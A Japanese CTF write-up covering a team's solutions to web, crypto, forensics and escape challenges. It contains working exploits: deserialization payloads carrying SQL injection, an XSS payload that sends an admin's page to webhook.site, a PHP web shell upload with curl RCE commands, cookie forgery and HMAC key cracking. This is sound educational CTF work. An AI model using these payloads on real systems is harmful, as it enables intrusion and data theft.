4/6 - 4/8という日程で開催された。BunkyoWesternsの🦌ta_ga_naiとして参加して5位。特にコンテナエスケープ問が面白かったし勉強になった。BunkyoWesternsはあと1問で全完というところまでいったのだけれども、[Forensics] Volatileというエスパー要素のあるメモリフォレンジック問にやられた。
目的が読み取れない問題文でメモリフォレンジックを行う必要があるというだけでも、目当てがないままにプロセスにリストやら開かれているファイルのハンドルやら、得られる情報を片っ端から調べる必要がありつらいが、そこにエスパー要素まで加わってくるともうダメだ。メモリフォレンジック問だから真面目にやれば解けるのだとは考えず、やれることはやって何も見つからなかった時点でエスパー問のための思考に切り替える必要があったとは思う。
- [Web 100] Cereal (101 solves)
- [Web 100] Forgotten Password (141 solves)
- [Web 191] Flipped (89 solves)
- [Web 388] Cracked (53 solves)
- [Web 440] Imposter (40 solves)
- [Web 454] Remote (35 solves)
- [Cryptography 464] Jumbled (30 solves)
- [Forensics 486] SMP (20 solves)
- [Forensics 486] MCFS (20 solves)
- [Misc 499] Scavenging (7 solves)
- [Misc 499] Over The Shoulder (7 solves)
[Web 100] Cereal (101 solves)
Just made a new website. It's a work in progress, please don't judge...
(URL)
添付ファイル: cereal.zip
与えられたURLにアクセスすると、以下のようなログインフォームが表示される。表示されているcredsでログインすると "Welcome guest!" と言われる。それだけ。
Cookieに auth
というキーで以下のような値が入っている。ログイン情報をここに保存しているらしい。
Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6Imd1ZXN0IjtzOjI6ImlkIjtpOjE7czoxMToiACoAcGFzc3dvcmQiO3M6MzI6IjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5IjtzOjEwOiIAKgBwcm9maWxlIjtOO30%3D
ソースコードを読んでいく。authenticate.php
にログイン周りの処理が詰まっている。なるほど、User
という色々とユーザの情報が入っているクラスのインスタンスを serialize
でシリアライズし、Base64エンコードして先程のCookieに保存しているようだ。
<?php … // Creating cookie if ($row['username'] === $username && $row['password'] === $password) { $cookie_name='auth'; $cookie = new User(); $cookie->username = $username; $cookie->id = (int)$row['id']; $cookie->setPassword(md5($row['password'])); setcookie($cookie_name, base64_encode(serialize($cookie)), time() + (86400 * 30), "/"); echo 'Welcome ' . $username . '! ' . '<br><br><a href="home.php"><i class="fas fa-user-circle"></i>Home</a>'; } else {
home.php
を読むと、確かにこの auth
というCookieについて、Base64デコードして unserialize
で元のオブジェクトを復元し、以降それを参照している様子が確認できる。署名はないので、いくらでもその値を改ざんできる。好きなものを unserialize
できるということで、これはInsecure Deserialization(PHPなのでPHP Object Injectionとも言う)だ。
<?php require_once('config.php'); // Check if logged in if (!isset($_COOKIE['auth']) || empty($_COOKIE['auth'])) { header('Location: logout.php'); exit; } $cookie = unserialize(base64_decode($_COOKIE['auth'])); ?> …
さて、このInsecure Deserializationによってどんなオブジェクトが作れると嬉しいか。Dockerfile
は配布されていないし、ソースコード中で flag
や gigem
等を検索しても何も見つからないので、フラグが表示される条件はよくわからない。とりあえずここから別の攻撃に発展させられないか、ソースコードを読みつつ考えていこう。
User
の実装を見ていく。PHPでは unserialize
でデシリアライズされた際にそのオブジェクトの __wakeup
というメソッドが呼ばれるわけだけれども、User
については validate
と refresh
を呼んでいることがわかる。
validate
では username
と password
の2つのプロパティを使いつつ、これらのcredsについて実在するユーザのものであるかを確認している。ちゃんとプレースホルダを使っているのでSQLiは発生していない。
続いて refresh
が行われ、そのユーザのプロフィールを取得しているわけだけれども、今度は id
と username
というプロパティを参照している。なぜか今度はプレースホルダを使っておらず、明らかにSQLiがある。username
の方は validate
でも参照されるからいじれないけれども、id
はいくらでもいじれる。こちらからSQLiができそうだ。
<?php class User { public $username = ''; public $id = -1; protected $password = ''; protected $profile; public function setPassword($pass) { $this->password = $pass; } public function sendProfile() { return $this->profile; } public function refresh() { // Database connection $conn = new PDO('sqlite:../important.db'); $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $query = "select username, email, favorite_cereal, creation_date from users where `id` = '" . $this->id . "' AND `username` = '" . $this->username . "'"; $stmt = $conn->prepare($query); $stmt->execute(); $row = $stmt->fetch(); $this->profile = $row; } public function validate() { // Database connection $conn = new PDO('sqlite:../important.db'); $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); $query = "select * from users where `username` = :username"; $stmt = $conn->prepare($query); $stmt->bindParam(':username', $this->username); $stmt->execute(); $row = $stmt->fetch(); if (md5($row['password']) !== $this->password) { header('Location: logout.php'); exit; } } public function __wakeup() { $this->validate(); $this->refresh(); } } ?>
次のようなPHPコードを用意して、Cookieにセットすると細工した User
がデシリアライズされる文字列を作る。
<?php class User { function __construct() { $this->username = 'guest'; $this->password = '5f4dcc3b5aa765d61d8327deb882cf99'; $this->id = "' union select group_concat(sql),2,3,4 from sqlite_master; -- "; $this->profile = 'poyo'; } } echo base64_encode(serialize(new User)) . "\n"; ?>
出力された文字列をCookieにセットして、プロフィールが表示されるページを閲覧する。次のように、SQLiによってデータベースに存在するテーブルの作成に使われたSQLを取り出すことができた。
今度はSQLiのペイロードを ' union select group_concat(username),group_concat(password),3,4 from users; --
に変更し、すべてのユーザのユーザ名とパスワードを抽出する。admin
というユーザのパスワードがフラグだった。
[Web 100] Forgotten Password (141 solves)
Author: bit
We discovered that this blog owner's email is b8500763@gmail.com through reconaissance. We do not have access to the password of the account, how could we login regardless?
(URL)
添付ファイル: forgotten-password.zip
与えられたURLにアクセスすると、次のようなログインフォームが表示される。
パスワードを忘れてしまった際のパスワードリセット用フォームもある。メールアドレスを入力すればよいようだ。
ソースコードを見ていく。まず、次のようなディレクトリ構造からRuby on Rails製のアプリだとわかる。
$ tree -d -L 2 . . ├── app │ ├── assets │ ├── channels │ ├── controllers │ ├── javascript │ ├── mailers │ ├── models │ └── views ├── bin ├── config │ ├── environments │ ├── initializers │ └── locales ├── db │ └── migrate ├── lib │ ├── assets │ └── tasks ├── log ├── public ├── storage ├── test │ ├── controllers │ ├── fixtures │ ├── helpers │ ├── integration │ ├── mailers │ ├── models │ └── system ├── tmp │ ├── pids │ └── storage └── vendor └── javascript 34 directories
パスワードリセット周りのロジックを見ていこう。app/controllers/auth_controller.rb
がそれだ。入力されたメールアドレスに対応するユーザがいれば、そのメールアドレスに対してパスワードリセットのメッセージを送っている。
それはいいのだけれども、その入力されたメールアドレスに対応するユーザがいるかどうかのチェックがおかしい。params[:email].include?(user.email)
かどうか、つまり入力されたメールアドレス「に」ユーザのメールアドレス「が」含まれているかを見ている。"b8500763@gmail.com"@example.com
のようなものも許してしまうわけだ。
class AuthController < ApplicationController def login end def forget end def recover user_found = false User.all.each { |user| if params[:email].include?(user.email) user_found = true break end } if user_found RecoveryMailer.recovery_email(params[:email]).deliver_now redirect_to forgot_password_path, notice: 'Password reset email sent' else redirect_to forgot_password_path, alert: 'You are not a registered user!' end end end
"b8500763@gmail.com"@example.com
(example.com
は私の管理するドメイン名に置き換える)をパスワードリセットフォームに入力してみる。すると、25/tcpへの接続の試行があった。SMTPを喋ってみると、パスワードリセットのメールを受け取ることができた。このメールにフラグが含まれていた。
$ sudo nc -lvp 25 Listening on 0.0.0.0 25 Connection received on so254-9.mailgun.net 61175 220 … ESMTP EHLO so254-9.mailgun.net 250 … MAIL FROM:<bounce+433457.6673cb-"0b8500763@gmail.com"=…@fgpwmg.tamuctf.com> 250 sender <bounce+433457.6673cb-"0b8500763@gmail.com"=…@fgpwmg.tamuctf.com> ok RCPT TO:<"0b8500763@gmail.com"@…> 250 recipient <"0b8500763@gmail.com"@…> ok DATA 354 go ahead … Subject: Flag From: ForgottenPassword@tamuctf.com To: "0b8500763@gmail.com"@… date: Sat, 06 Apr 2024 05:42:35 +0000 message-id: <6610e0cb16f28_2bd15000-4df@73e71080d4bd.mail> Content-Transfer-Encoding: 7bit Content-Type: text/html; charset=ascii <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <style> /* Email styles need to be inline */ </style> </head> <body> <h1> Here is the flag! </h1> <p>gigem{sptfy.com/Qhnv}</p> </body> </html> .
gigem{sptfy.com/Qhnv}
[Web 191] Flipped (89 solves)
So many challenges have plaintext cookies. Try breaking my encrypted cookies!
(URL)
添付ファイルはないが、与えられたURLにアクセスすると次のようなソースコードが表示された。ランダムに生成された鍵でAES-CBCを使ってユーザ情報を暗号化し、Cookieに格納している。あるいは、Cookieに格納されているバイト列を復号してユーザ情報を取り出している。
デフォルトでは {"admin": 0, "username": "guest"}
というユーザ情報が格納されているけれども、フラグを得るためにはこの admin
というプロパティを 1
や true
に変更する必要がある。
from os import environ from hashlib import md5 from Crypto.Cipher import AES from Crypto.Random import get_random_bytes from Crypto.Util.Padding import pad, unpad from flask import Flask, request, make_response, Response from base64 import b64encode, b64decode import sys import json FLAG = environ['FLAG'] PORT = int(environ['PORT']) default_session = '{"admin": 0, "username": "guest"}' key = get_random_bytes(AES.block_size) app = Flask(__name__) def encrypt(session): iv = get_random_bytes(AES.block_size) cipher = AES.new(key, AES.MODE_CBC, iv) return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size))) def decrypt(session): raw = b64decode(session) cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size]) try: return unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode() except Exception: return None @app.route('/') def index(): session = request.cookies.get('session') if session == None: res = Response(open(__file__).read(), mimetype='text/plain') res.set_cookie('session', encrypt(default_session).decode()) return res elif (plain_session := decrypt(session)) == default_session: return Response(open(__file__).read(), mimetype='text/plain') else: if plain_session != None: try: if json.loads(plain_session)['admin'] == True: return FLAG else: return 'You are not an administrator' except Exception: return 'You are not an administrator' else: return 'You are not an administrator' if __name__ == '__main__': app.run('0.0.0.0', PORT)
username
というプロパティは一切参照されていない。{"admin": 0, "username": "guest"}
に対応する暗号文は得られるわけだから、改ざんによって作るユーザ情報は {"admin": 1}
でも構わない。最初のブロック以外は削除し、IVをいじって {"admin": 1}\x04\x04\x04\x04
へ復号されるような暗号文を作ろう。
import base64 import httpx from ptrlib import * with httpx.Client(base_url='https://…/') as client: client.get('/') session = client.cookies['session'] encrypted = base64.b64decode(session) iv = encrypted[:16] new_session = base64.b64encode(xor( xor(iv, b'{"admin": 0, "us'), b'{"admin": 1}\x04\x04\x04\x04' ) + encrypted[16:32]).decode() client.cookies['session'] = new_session print(client.get('/').text)
これを実行するとフラグが得られた。
gigem{verify_your_cookies}
[Web 388] Cracked (53 solves)
Well, I guess my crypto wasn't the best... This time I am using an HMAC to do integrity checking on the session. Good luck getting the flag now!
Note: This challenge is intended to be solved after Flipped, but it is not required.
(URL)
添付ファイルはないが、与えられたURLにアクセスすると次のようなソースコードが表示された。今度はCookieの session
というキーにユーザ情報が、sig
というキーにそのHMAC(HMAC-SHA1)が格納されている。もちろんこの sig
は session
が正しいかどうかの検証に用いられる。HMACの比較には ==
でなく hmac.compare_digest
を使っているのでタイミング攻撃はダメそう。全体的にセキュアなコードに見える。
from os import environ from hashlib import sha1 from flask import Flask, request, make_response, Response from base64 import b64encode, b64decode import hmac import json KEY = environ['KEY'] FLAG = environ['FLAG'] PORT = int(environ['PORT']) default_session = '{"admin": 0, "username": "guest"}' app = Flask(__name__) def sign(m): return b64encode(hmac.new(KEY.encode(), m.encode(), sha1).digest()).decode() def verify(m, s): return hmac.compare_digest(b64decode(sign(m)), b64decode(s)) @app.route('/') def index(): session = request.cookies.get('session') sig = request.cookies.get('sig') if session == None or sig == None: res = Response(open(__file__).read(), mimetype='text/plain') res.set_cookie('session', b64encode(default_session.encode()).decode()) res.set_cookie('sig', sign(default_session)) return res elif (plain_session := b64decode(session).decode()) == default_session: return Response(open(__file__).read(), mimetype='text/plain') else: if plain_session != None and verify(plain_session, sig) == True: try: if json.loads(plain_session)['admin'] == True: return FLAG else: return 'You are not an administrator' except Exception: return 'You are not an administrator' else: return 'You are not an administrator' if __name__ == '__main__': app.run('0.0.0.0', PORT)
今度は KEY
がランダムに生成されたものではなく環境変数由来であることに注目する。また、問題名も "Cracked" だ。簡単にクラックできるような鍵なのではないか。hashcatで殴ろう。hashcat.exe -m 150 -a 0 hash.txt rockyou.txt
で、6lmao9
が鍵であるとわかった(ΦωΦ)
… Host memory required for this attack: 667 MB Dictionary cache hit: * Filename..: rockyou.txt * Passwords.: 14344384 * Bytes.....: 139921497 * Keyspace..: 14344384 beefda82f9ed4590ea38e9c5a4616397e19f9c74:{"admin": 0, "username": "guest"}:6lmao9 …
判明した鍵を使って {"admin": 1}
に対応する sig
を計算する。Cookieにそれぞれセットするとフラグが得られた。
gigem{maybe_pick_a_better_password_next_time}
[Web 440] Imposter (40 solves)
I'm not a big fan of Discord's new ToS changes, so I'm making my own crappy version of Discord that isn't overly invasive.
(URL)
与えられたURLにアクセスすると、次のようにログインフォームが表示された。
適当にユーザ登録してログインすると、次のようにDiscordのパチモンが表示された。最初からチャットの対象として admin#0000
というユーザがリストに存在している。
<s>test</s>
と入力すると次の通り斜線が表示され、まずHTML Injectionがあるとわかる。<img src=x onerror="navigator.sendBeacon('…')">
と入力するとadmin botからアクセスがあった。XSSもあるようだ。
さて、この問題ではXSSで何をすればよいだろうか。クライアント側のコードを読むと、次のように /flag
というメッセージを入力すると特殊な挙動をするとわかる。
$('#message-box').keypress(function(e) { var code = e.keyCode || e.which; if(code == 13) { message = $('#message-box').val(); if(message != '') { dst = document.getElementById('active-dm').name; $('#message-box').val(''); if(message != '/flag') { socket.emit('json', {'to': dst, 'message': message, 'time': moment().format('h:mm:ss A')}); } else { socket.emit('flag'); } } } });
やってみると、admin#0000
しか /flag
でフラグを閲覧できないと怒られる。
ならば、XSSで無理やり admin#0000
に /flag
と送らせよう。<img src=x onerror="setTimeout(()=>{socket.emit('flag');setTimeout(()=>{navigator.sendBeacon('https://webhook.site/…',document.body.innerHTML)},500);},500)">
というメッセージを送る。すると、次のように /flag
へのレスポンスとしてフラグが返っている様子が確認できた。
… <div class="container"> <div id="chat" class="chat"> <img src="x" onerror="setTimeout(()=>{socket.emit('flag');setTimeout(()=>{navigator.sendBeacon('https://webhook.site/…',document.body.innerHTML)},500);},500)"> <div class="message"> <span class="sender">System</span> <p>gigem{its_like_xss_but_with_extra_steps}</p> </div> </div> …
gigem{its_like_xss_but_with_extra_steps}
[Web 454] Remote (35 solves)
I just released the newest version of my online image repository.
Patch notes:
- Added ability to upload via URL
Note: The flag is located in
/var/www/
.(URL)
添付ファイル: remote.zip
与えられたURLにアクセスすると、次のように画像のアップロードフォームが表示される。適当な画像をアップロードしてやると、ページの下部にアップロードした画像が表示された。この画像は /index.php?file=6613d5693f0f59.39827636_fiqjnolhkpgme.jpeg
のようなURLになっている。
このように直接画像をアップロードできる機能のほか、URLを指定してのアップロードもできるようだ。URLに htm
, php
, js
, css
といったものが含まれておらず、またURLとして正しければ、その内容を取ってくる。そのURLに.
で区切った右側を拡張子として、ランダムなファイル名で保存する。このパスは uploads/(セッションID)/(ランダムなファイル名)
というものになっている。
<?php … } else if(isset($_REQUEST['url'])) { if(!preg_match("/(htm)|(php)|(js)|(css)/", $_REQUEST['url'])) { $url = filter_var($_REQUEST['url'], FILTER_SANITIZE_URL); if(filter_var($url, FILTER_VALIDATE_URL)) { $img = file_get_contents($url); if($img !== false) { $mime = substr($url, strrpos($url, '.') + 1); $file = random_filename(32, 'uploads/' . $sess, $mime); $f = fopen('uploads/' . $sess . '/' . $file, "wb"); if($f !== false) { fwrite($f, $img); fclose($f); header('Location: /index.php?message=Image uploaded successfully&status=success'); …
filter_var($url, FILTER_VALIDATE_URL)
は file:///etc/passwd
のようなものでも通してしまうので、このチェックはないものとして考えてよい。ただ、/(htm)|(php)|(js)|(css)/
というチェックはどうすれば通せるだろうか。よく見ると、この正規表現によるチェックの対象は $_REQUEST['url']
なのに対して、実際にコンテンツを取ってくるURLは FILTER_SANITIZE_URL
を通したものになっている。順番が逆ではないか。
FILTER_SANITIZE_URL
がどのようなものかPHPのドキュメントを参照すると「英字、数字および $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=
以外のすべての文字を取り除きます」とある。つまり、hoge.p(消される文字)hp
のようにすると hoge.php
になり、たとえ .php
で終わっていてもダウンロードさせられるのではないか。
次のようにわざと p
と hp
の間にnull文字を入れる。これで /aaa.php
にHTTPリクエストが送られ、.php
で終わる <?php passthru($_GET['piyopiyo']);
という内容のファイルを保存させることができた。
$ curl -c cookie.txt https://… ... $ curl -c cookie.txt https://…/ -d "url=http://…/aaa.p%00hp" | grep -3 image-display ... <div class="result" id="result"> </div> </form> <div class=image-display> <a href=/index.php?file=te8wq2jvqvevph4zn6w9kvg61qilecs1.php><div class=card><img class=thumbnail src=/index.php?file=te8wq2jvqvevph4zn6w9kvg61qilecs1.php></div></a> </div> </div> </div>
さて、/index.php?file=te8wq2jvqvevph4zn6w9kvg61qilecs1.php
にアクセスしてもPHPコードは実行されない。どうすればRCEに持ち込めるだろうか。アップロード先は uploads
とされていたけれども、これはドキュメントルート下にある。つまり、index.php
を通さずとも直接アクセス可能である。セッションIDはCookieからわかるし、実際のファイル名も .image-display
中の img
の src
属性からわかる。完全なパスも推測可能だ。
このとき、セッションIDは 7e1345af2b56cf47d90b075f7a044a41
だった。アップロード先の /uploads/7e1345af2b56cf47d90b075f7a044a41/te8wq2jvqvevph4zn6w9kvg61qilecs1.php
に直接アクセスすると、このPHPコードが実行された。そのままフラグを探すと、見つかった。
$ curl "https://…/uploads/7e1345af2b56cf47d90b075f7a044a41/te8wq2jvqvevph4zn6w9kvg61qilecs1.php?piyopiyo=ls+/tmp|grep+-v+sess" flag-de88df3ebf2f0c4bf871ddfb2e0fcce4.txt $ curl "https://…/uploads/7e1345af2b56cf47d90b075f7a044a41/te8wq2jvqvevph4zn6w9kvg61qilecs1.php?piyopiyo=cat+/tmp/flag-de88df3ebf2f0c4bf871ddfb2e0fcce4.txt" gigem{new_features_means_new_opportunities}
gigem{new_features_means_new_opportunities}
[Cryptography 464] Jumbled (30 solves)
The RSA Public and Private keys are provided. However, the private key seems to be jumbled in a block size of 10 hex characters. Can you get the flag?
添付ファイル: jumbled.zip
添付ファイルを展開すると public
, private
, flag.txt.enc
の3つのファイルが出てきた。private
はこんな感じ。
49 45 4e 42 47 2d 2d 2d 2d 2d 20 54 4b 41 45 49 50 56 20 52 0a … 0d 33 32 65 4e 61 46 6a 61 6b 53 44 6c 54 61 49 4f 52 74 77 37 37 79 6f 64 6a 2d 2d 2d 2d 2d 0d 3d 0a 51 3d 41 49 54 52 56 20 4e 50 45 44 2d 2d 2d 2d 2d 45 20 59 45 4b
hexデコードをすると次のようなテキストが現れた。なるほど、問題文の通りぐちゃぐちゃになっている。
IENBG----- TKAEIPV R -M- -Y-E-DBAIAvIAIEGk9hikBqNgAFSEAA0QwBigAgSYBwCKQBCIAAEogA4P0hviZFqN8uoOx N Hktux20rj7PgiY+pd5tVkPD9tf+nw1fGyPwkomYXOrQ1YyotznX2pH T6Lk6U/CkE3Z4S7 oPfVCQcZDzJcmbJ61kpMplvvd6xqDTl/jtnchYikNDIYdLyBAqSy z … X/ILK+iDhwhqhsqsb5ERMzT6FBz+Ag+yPtwyRPK8rYvnV76CCW epV 32eNaFjakSDlTaIORtw77yodj----- = Q=AITRV NPED-----E YEK
元のテキストは -----BEGIN PRIVATE KEY-----
から始まるはずだ。10文字ごとに区切り*1、はじめの2ブロックについて、各文字が本来何文字目にあるべきかを確認する。なるほど、ブロックごとにその置換の方法は変わらないようだ。
86957????? IENBG----- 8695731402 TKAEIPV R
雑に、テキストを元に戻すスクリプトを書く。
import binascii import io with open('jumbled/private') as f: s = binascii.unhexlify(f.read().replace(' ', '')) table = (8, 6, 9, 5, 7, 3, 1, 4, 0, 2) res = b'' i = io.BytesIO(s) while True: t = i.read(10) if t == b'': break for j in table: res += bytes([t[j]]) print(res.decode()) with open('private', 'wb') as f: f.write(res)
この秘密鍵を使って flag.txt.enc
を復号できた。
$ openssl pkeyutl -decrypt -inkey private -in jumbled/flag.txt.enc gigem{jumbl3d_r54_pr1v473_k3y_z93kd74lx}
gigem{jumbl3d_r54_pr1v473_k3y_z93kd74lx}
[Forensics 486] SMP (20 solves)
We'd call it Bedwars but we suck at Bedwars too much.
添付ファイル: smp.zip
添付ファイルを展開すると smp.log
というファイルが出てきた。これは以下のようなテキストファイルで、24.7MBとかなり大きい。ログに含まれる "Move Entity PosRot" のような特徴的に思えるクエリで検索すると、どうやらSniffCraftというツールでMinecraftのパケットをキャプチャしたものらしいとわかった。
[0:00:00:005] [Handshake] [(SC) --> S] Client Intention [0:00:00:005] [Handshake] [C --> (SC)] Client Intention [0:00:00:005] [Login] [(SC) --> S] Hello [0:00:00:005] [Login] [C --> (SC)] Hello [0:00:00:358] [Login] [(SC) --> S] Key [0:00:00:358] [Login] [S --> (SC)] Hello [0:00:00:574] [Login] [S --> C] Login Compression [0:00:00:574] [Login] [S --> C] Game Profile [0:00:00:575] [Login] [C --> S] Login Acknowledged …
このままだと扱いづらいので、無理やりJSONに変換する。
import json with open('smp/smp.log') as f: s = f.read() s = '\n' + s[:s.index('Sorted by count')] i = 0 result = [] while i != -1: j = s.find('\n[', i + 1) t = s[i:j] first_line, *data = t.strip().split('\n', 1) timestamp = first_line[1:].split(']', 1)[0] is_server_to_client = 'S --> C' in first_line command = first_line.rsplit('] ', 1)[1] result.append({ 'command': command, 'timestamp': timestamp, 'isServerToClient': is_server_to_client, 'data': None if len(data) == 0 else json.loads(data[0]) }) i = j with open('smp.json', 'w') as f: json.dump(result, f)
ログの最後に統計情報が載っている。全部で何十万とパケットがある中で、サーバからクライアントに対して送られている "Block Update" というパケットは866個しかなく、またブロックの何かしらの情報を更新しているという点が気になった。x, y, zの座標の情報もこのパケットに含まれているので、プロットしてみたい。
… | Update Recipes | 1 ( 0.00%) | 22651 ( 0.22%) | | Forget Level Chunk | 1451 ( 0.73%) | 15961 ( 0.16%) | | Entity Event | 1432 ( 0.72%) | 11456 ( 0.11%) | | Block Update | 866 ( 0.44%) | 11027 ( 0.11%) | | Update Tags (Configuration) | 1 ( 0.00%) | 8517 ( 0.08%) | | Update Advancements | 1 ( 0.00%) | 7834 ( 0.08%) | | Commands | 1 ( 0.00%) | 7797 ( 0.08%) | …
プロットするスクリプトを用意した。
import json import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D with open('smp.json', 'r') as f: packets = json.load(f) fig = plt.figure() ax = fig.add_subplot(projection='3d') x, y, z = [], [], [] for packet in packets: if packet['command'] != 'Block Update': continue pos = packet['data']['pos'] x.append(pos['x']) y.append(pos['y']) z.append(pos['z']) ax.scatter3D(x, y, z) plt.show()
実行してぐるぐる回すと、次のようにフラグが現れた。
gigem{w3_L0v3_pL1y1n_MC_SMP}
[Forensics 486] MCFS (20 solves)
The size of a Minecraft world is 60,000,000 * 60,000,000 * 384 blocks. If 256 different blocks are chosen to represent a byte of data, this means that a Minecraft world could store roughly 1.2 exabytes of data. Naturally, this must mean that Minecraft is the best storage system in terms of capacity, so I have decided to start storing my files in my world. Have fun recovering them!
Note: The file size is 8MB
添付ファイル: mcfs.zip
添付ファイルを展開すると、Minecraftのワールドデータが格納されている world
というディレクトリと、mcfs.jar
とが出てきた。jadx-gui
で mcfs.jar
をデコンパイルする。一番重要なのは次のメソッドだ。このコマンドに第1引数として与えられたファイルを読み出して、一定間隔でワールドへブロックを設置している。設置されるブロックの種類はファイルの内容に基づいている。
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { if (args.length != 1) { return false; } ((Player) sender).getWorld().setGameRule(GameRule.DO_DAYLIGHT_CYCLE, false); ((Player) sender).getWorld().setGameRule(GameRule.RANDOM_TICK_SPEED, 0); Hashtable<Integer, Tag<Material>> tagBlacklist = new Hashtable<>(); tagBlacklist.put(1, Tag.ENDERMAN_HOLDABLE); tagBlacklist.put(2, Tag.BAMBOO_PLANTABLE_ON); tagBlacklist.put(4, Tag.SNOW); Hashtable<Integer, Material> materialHashMap = new Hashtable<>(); Iterator<Material> materials = Arrays.stream(Material.values()).iterator(); int i = 0; while (materialHashMap.size() < 256 && materials.hasNext()) { Material material = materials.next(); if (material.isSolid() && !material.hasGravity() && !material.isInteractable() && !material.equals(Material.FARMLAND) && !isTagged(tagBlacklist, material)) { materialHashMap.put(Integer.valueOf(i), material); i++; } } byte[] fileBytes = new byte[0]; try { fileBytes = Files.readAllBytes(Paths.get(args[0], new String[0])); } catch (IOException e) { e.printStackTrace(); } int byteIndex = 0; int row = 0; while (true) { for (int x = 0; x < 256; x++) { for (int y = 0; y < 256; y++) { for (int z = 0; z < 16; z++) { try { if (byteIndex > fileBytes.length - 1) { return true; } ((Player) sender).getWorld().getBlockAt(0 + x, CHUNKHEIGHT - y, 0 + (16 * row) + z).setType(materialHashMap.get(Integer.valueOf(Byte.toUnsignedInt(fileBytes[byteIndex])))); byteIndex++; } catch (Exception e2) { e2.printStackTrace(); return true; } } } } row++; } }
添付されたワールドに設置されているブロックをもとに、書き込まれたファイルを復元するBukkitプラグインを作ろう。以下のようなコードができあがる。
package com.example.testplugin; import org.bukkit.plugin.java.JavaPlugin; import java.io.BufferedOutputStream; import java.io.FileOutputStream; import java.util.Arrays; import java.util.Enumeration; import java.util.List; import java.util.Hashtable; import java.util.Iterator; import org.bukkit.Bukkit; import org.bukkit.GameRule; import org.bukkit.Material; import org.bukkit.Server; import org.bukkit.Tag; import org.bukkit.World; public final class Testplugin extends JavaPlugin { public static final int CHUNKSIZE = 16; public static final int CHUNKHEIGHT = 256; public static final int BLOCKLEN = 16; public static final int X = 0; public static final int Z = 0; @Override public void onEnable() { Server server = Bukkit.getServer(); List<World> worlds = server.getWorlds(); getLogger().info("worlds size " + worlds.size()); World world = worlds.get(0); world.setGameRule(GameRule.DO_DAYLIGHT_CYCLE, false); world.setGameRule(GameRule.RANDOM_TICK_SPEED, 0); Hashtable<Integer, Tag<Material>> tagBlacklist = new Hashtable<>(); tagBlacklist.put(1, Tag.ENDERMAN_HOLDABLE); tagBlacklist.put(2, Tag.BAMBOO_PLANTABLE_ON); tagBlacklist.put(4, Tag.SNOW); Hashtable<Material, Integer> materialHashMap = new Hashtable<>(); Iterator<Material> materials = Arrays.stream(Material.values()).iterator(); int i = 0; while (materialHashMap.size() < 256 && materials.hasNext()) { Material material = materials.next(); if (material.isSolid() && !material.hasGravity() && !material.isInteractable() && !material.equals(Material.FARMLAND) && !isTagged(tagBlacklist, material)) { materialHashMap.put(material, Integer.valueOf(i)); i++; } } int row = 0; BufferedOutputStream file; try { file = new BufferedOutputStream(new FileOutputStream("../test.bin")); } catch (Exception e2) { e2.printStackTrace(); return; } getLogger().info("start"); while (true) { for (int x = 0; x < 256; x++) { for (int y = 0; y < 256; y++) { for (int z = 0; z < 16; z++) { try { Material type = world.getBlockAt(0 + x, CHUNKHEIGHT - y, 0 + (16 * row) + z).getType(); Integer byte_ = materialHashMap.getOrDefault(type, 0); file.write(byte_ & 0xFF); } catch (Exception e2) { e2.printStackTrace(); return; } } } } row++; if (row > 100) { break; } } try { file.close(); } catch (Exception e2) { e2.printStackTrace(); return; } getLogger().info("done"); } private boolean isTagged(Hashtable<Integer, Tag<Material>> blacklist, Material material) { Enumeration<Integer> e = blacklist.keys(); while (e.hasMoreElements()) { int key = e.nextElement().intValue(); if (blacklist.get(Integer.valueOf(key)).isTagged(material)) { return true; } } return false; } }
出来上がったプラグインを java -Xms1G -Xmx4G -jar spigot-1.20.4.jar nogui -P ../mcfs/test-mod/testplugin/target/
のようにして読み込む。無事にファイルの抽出ができたようだ。
… [06:01:45] [Server thread/INFO]: [testplugin] Enabling testplugin v1.0-SNAPSHOT [06:01:45] [Server thread/INFO]: [testplugin] worlds size 3 [06:01:45] [Server thread/INFO]: [testplugin] start [06:02:42] [Server thread/INFO]: [testplugin] done …
どうやらext4のファイルシステムらしい。
$ file test.bin test.bin: Linux rev 1.0 ext4 filesystem data, UUID=95d1e1d8-3450-4c20-a97f-c1ca7da5d292 (extents) (64bit) (large files) (huge files)
FTK Imagerで開き、これに含まれていた flag.tar.gz
を取り出す。これにフラグが含まれていた。
gigem{r3curs1v3_f1l3_st0rag3}
[Misc 499] Scavenging (7 solves)
Look around, see what you can find!
Note: File uploads for this challenge are not necessary; you can complete it with the binaries provided.
openssl s_client -connect tamuctf.com:443 -servername scavenging
問題サーバに接続すると、次のようなシェルスクリプトが出力された後にシェルが立ち上がった。なるほど、この外側に出ればよいらしい。
#!/bin/sh ls -alh /init cat /init mount -t ramfs -o size=32m ramfs /mnt cp -ra /inner/* /mnt/ exec switch_root /mnt /bin/sh
私が問題を見た時点で、pr0xyさんによって mount -t proc none /proc/
でprocfsがマウントできるとわかっていた。procfsから何かしらの情報が得られないか見ていると、ls -la /proc/*/root/
をしたときになぜかPIDが 18
のプロセスでは /dev/
を指していることがわかった。
~ # ls -la /proc/18/root/ ls -la /proc/18/root/ total 0 drwxr-xr-x 7 0 0 2260 Apr 6 22:46 . drwxr-xr-x 7 0 0 2260 Apr 6 22:46 .. crw-r--r-- 1 0 0 10, 235 Apr 6 22:46 autofs drwxr-xr-x 2 0 0 60 Apr 6 22:46 bsg crw------- 1 0 0 5, 1 Apr 6 22:46 console drwxr-xr-x 3 0 0 60 Apr 6 22:46 cpu crw------- 1 0 0 10, 126 Apr 6 22:46 cpu_dma_latency crw-rw-rw- 1 0 0 1, 7 Apr 6 22:46 full …
この中には mem
も含まれている。ramfsらしいので /dev/mem
にフラグが載っていないかと考えた。安直だと思いつつやってみると、フラグが得られてしまった。
